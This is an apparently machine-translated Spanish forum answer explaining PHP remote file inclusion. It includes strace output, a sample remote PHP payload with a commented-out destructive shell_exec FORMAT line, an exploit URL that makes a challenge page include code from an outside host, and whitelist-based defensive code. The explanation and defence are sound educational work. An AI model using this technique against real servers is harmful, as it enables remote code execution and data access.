Creo que no está funcionando porque estás realizando un control de seguridad.
Ejecuté strace para ver qué hacía PHP al incluir un archivo con un nombre legal, aunque no existe, y un archivo con un nombre ilegal. Se comporta de manera diferente :
lstat("/home/lserni/./legal.inc.php"...) = -1 ENOENT (No such file or directory)
lstat("/home/lserni/legal.inc.php"...) = -1 ENOENT (No such file or directory)
lstat("/home/lserni/legal.inc.php"...) = -1 ENOENT (No such file or directory)
openat(AT_FDCWD, "/home/lserni/legal.inc.php", O_RDONLY) = -1 ENOENT ...
write(2, "PHP Warning: include(): Failed "..., 154
PHP Warning: include(): Failed opening 'legal.inc.php' for inclusion...
write(2, "PHP Warning: include(): Failed "..., 148
PHP Warning: include(): Failed opening 'illegal' for inclusion...
Por lo tanto, desde arriba puede ver que el nombre del archivo legal se comprueba en el sistema de archivos, dos veces , y se realiza un primer intento incluso si PHP ve que el archivo no existe (con una potencia nominal de 0,2 kWTF) y emite un error.
El nombre de archivo ilegal emite el mismo error, pero sin intentarlo para comprobar si el archivo puede estar allí.
Estoy bastante seguro de que si reviso las fuentes de PHP, encontraré una prueba que falsifica el error "este archivo no está aquí", cuando en realidad PHP decidió no abrir el archivo, no importa si estaba allí o no .
Inclusión de archivos remotos
La vulnerabilidad de "inclusión de archivo" significa que puede enviar al servidor algo que hará que include() (y ejecute) un archivo de su opción. El archivo puede ser local (inclusión de archivo local o LFI) o remoto (RFI).
Para explotar una RFI necesita un archivo remoto en un dominio diferente; no el que estás probando, sino otro.
Este archivo remoto, no los locales, debe estar bajo su control.
El contenido del archivo remoto debe ser tal que el servidor vulnerable lo incluya; es decir, debe ser PHP válido.
El archivo remoto, una vez incluido, se ejecutará dentro del servidor vulnerable, y así tendrá acceso a sus archivos locales (pero ya no a los remotos).
Entonces, si el archivo remoto muestra las instrucciones " include('index.php'); " o die(file_get_contents('index.php')); , no leerá el index.php del servidor remoto, sino el del servidor vulnerable (que es lo que queremos hacer).
Al mismo tiempo, el archivo remoto se ejecutará en el servidor remoto, por lo que queremos que ejecute algún código PHP que muestre otro código PHP .
Por ejemplo, este es el contenido de http://www.serni.org/i.inc.php :
<?php
// The outer code is just a print.
print <<<INNER_CODE
<?php
// This is a sample remote file inclusion vulnerability.
// It will simply count how many files there are in the
// vulnerable script's directory.
\$files = count(glob('*.*'));
print "This folder contains {\$files} files.";
// Just sayin'.
// shell_exec("FORMAT A: /Y /AUTOTEST");
INNER_CODE;
Si usa http://www.serni.org/i.inc.php como un recurso y la RFI funciona, la página vulnerable devolverá el recuento de archivos en ese directorio.
G1mm3 th3 cod3z (TL; DR; DT)
http://example.com/challenge/mypage.php?page=http%3A%2F%2Fwww.serni.org%2Fi
Cómo defender
Obviamente, desinfecte sus entradas. O mejor dicho, hacer una lista blanca de ellos, y solo permitir combinaciones muy simples. Y a menos que necesite incluir recursos remotos (lo que sucede), establezca allow_url_fopen en false .
$allowed_resources = '#^[A-Za-z_0-9-]+$#';
$ok = false;
if (preg_match($allowed_resources, $resource)) {
$actual_file = realpath("external_resources/{$resource}.php");
// We could verify that actual_file matches _SERVER_ROOT/external...
if (file_exists($actual_file)) {
include $actual_file;
$ok = true;
}
}
if (!$ok) {
// We don't want to send back to clients whatever they sent us; that way lie XS vulnerabilities.
$resource = basename(strip_tags($resource));
// Mess a little with people's heads.
die("Warning: include() [function.include]: Failed opening 'C:\Inetpub\Resources\{$resource}.aspx' for inclusion (include_path='C:\;C:\WINDOWS;C:\Program Files\Nginx;C:\Python\Tornado5\modules')");
}